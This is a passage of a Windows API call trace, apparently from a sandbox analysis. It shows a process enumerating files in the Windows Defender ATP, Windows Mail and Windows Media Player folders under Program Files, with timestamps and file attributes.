	[0157.863] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US\\*", lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fde773, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd480
	[0157.864] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fde773, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.864] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MsSense.exe.mui", cAlternateFileName="")) returned 1
	[0157.865] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MsSense.exe.mui", cAlternateFileName="")) returned 0
	[0157.865] FindClose (in: hFindFile=0x5dd480 | out: hFindFile=0x5dd480) returned 1
	[0157.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0157.865] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe304e38c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe304e38c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3bb568, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsSense.exe", cAlternateFileName="")) returned 1
	[0157.865] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2f69567, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2f69567, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xbcad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SenseCncProxy.exe", cAlternateFileName="")) returned 1
	[0157.865] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2f69567, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2f69567, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SenseCncPS.dll", cAlternateFileName="")) returned 1
	[0157.866] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2fb5a1e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2fb5a1e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x290800, dwReserved0=0x0, dwReserved1=0x0, cFileName="SenseSampleUploader.exe", cAlternateFileName="")) returned 1
	[0157.867] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782516c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd6d17d57, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd6d17d57, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATPCSP.dll", cAlternateFileName="")) returned 1
	[0157.867] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782516c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd6d17d57, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd6d17d57, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATPCSP.dll", cAlternateFileName="")) returned 0
	[0157.867] FindClose (in: hFindFile=0x5dd440 | out: hFindFile=0x5dd440) returned 1
	[0157.867] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0157.867] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa90b6918, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1
	[0157.867] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4540068
	[0157.867] lstrlenW (lpString="C:\\Program Files\\Windows Mail") returned 29
	[0157.867] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\*", lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa90b6918, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd040
	[0157.869] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa90b6918, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.869] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa90b7e0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0157.869] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0157.869] lstrlenW (lpString="C:\\Program Files\\Windows Mail\\en-US") returned 35
	[0157.869] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US\\*", lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa90b7e0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd240
	[0157.870] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa90b7e0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.870] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b922184, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x7a000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1
	[0157.870] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb5e4e0, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 1
	[0157.870] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb5e4e0, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 0
	[0157.871] FindClose (in: hFindFile=0x5dd240 | out: hFindFile=0x5dd240) returned 1
	[0157.871] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0157.871] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d342cc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d342cc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1f0a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1
	[0157.871] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x25f400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOERES.dll", cAlternateFileName="")) returned 1
	[0157.871] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oeimport.dll", cAlternateFileName="")) returned 1
	[0157.871] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7e400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab.exe", cAlternateFileName="")) returned 1
	[0157.872] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabimp.dll", cAlternateFileName="")) returned 1
	[0157.872] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabmig.exe", cAlternateFileName="")) returned 1
	[0157.872] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x66600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 1
	[0157.872] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x66600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 0
	[0157.872] FindClose (in: hFindFile=0x5dd040 | out: hFindFile=0x5dd040) returned 1
	[0157.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0157.872] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x8390de24, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x8390de24, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1
	[0157.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4540068
	[0157.872] lstrlenW (lpString="C:\\Program Files\\Windows Media Player") returned 37
	[0157.873] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\*", lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x8390de24, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x8390de24, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd040
	[0157.893] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x8390de24, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x8390de24, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.893] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9124bcc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0157.893] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0157.893] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\en-US") returned 43
	[0157.893] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\*", lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9124bcc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd440
	[0157.896] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9124bcc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.896] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mpvis.dll.mui", cAlternateFileName="")) returned 1
	[0157.896] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x130c5e00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="setup_wm.exe.mui", cAlternateFileName="")) returned 1
	[0157.897] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40aa916a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x100e6f00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmlaunch.exe.mui", cAlternateFileName="")) returned 1
	[0157.897] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmplayer.exe.mui", cAlternateFileName="")) returned 1
	[0157.897] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd13924, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WMPMediaSharing.dll.mui", cAlternateFileName="")) returned 1
	[0157.897] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd13924, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x9c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnetwk.exe.mui", cAlternateFileName="")) returned 1
	[0157.897] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de1e9a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnscfg.exe.mui", cAlternateFileName="")) returned 1
	[0157.897] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de1e9a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnssci.dll.mui", cAlternateFileName="")) returned 1
	[0157.897] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bacb92, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x100e6f00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnssui.dll.mui", cAlternateFileName="")) returned 1
	[0157.897] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bacb92, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x100e6f00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnssui.dll.mui", cAlternateFileName="")) returned 0
	[0157.897] FindClose (in: hFindFile=0x5dd440 | out: hFindFile=0x5dd440) returned 1
	[0157.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
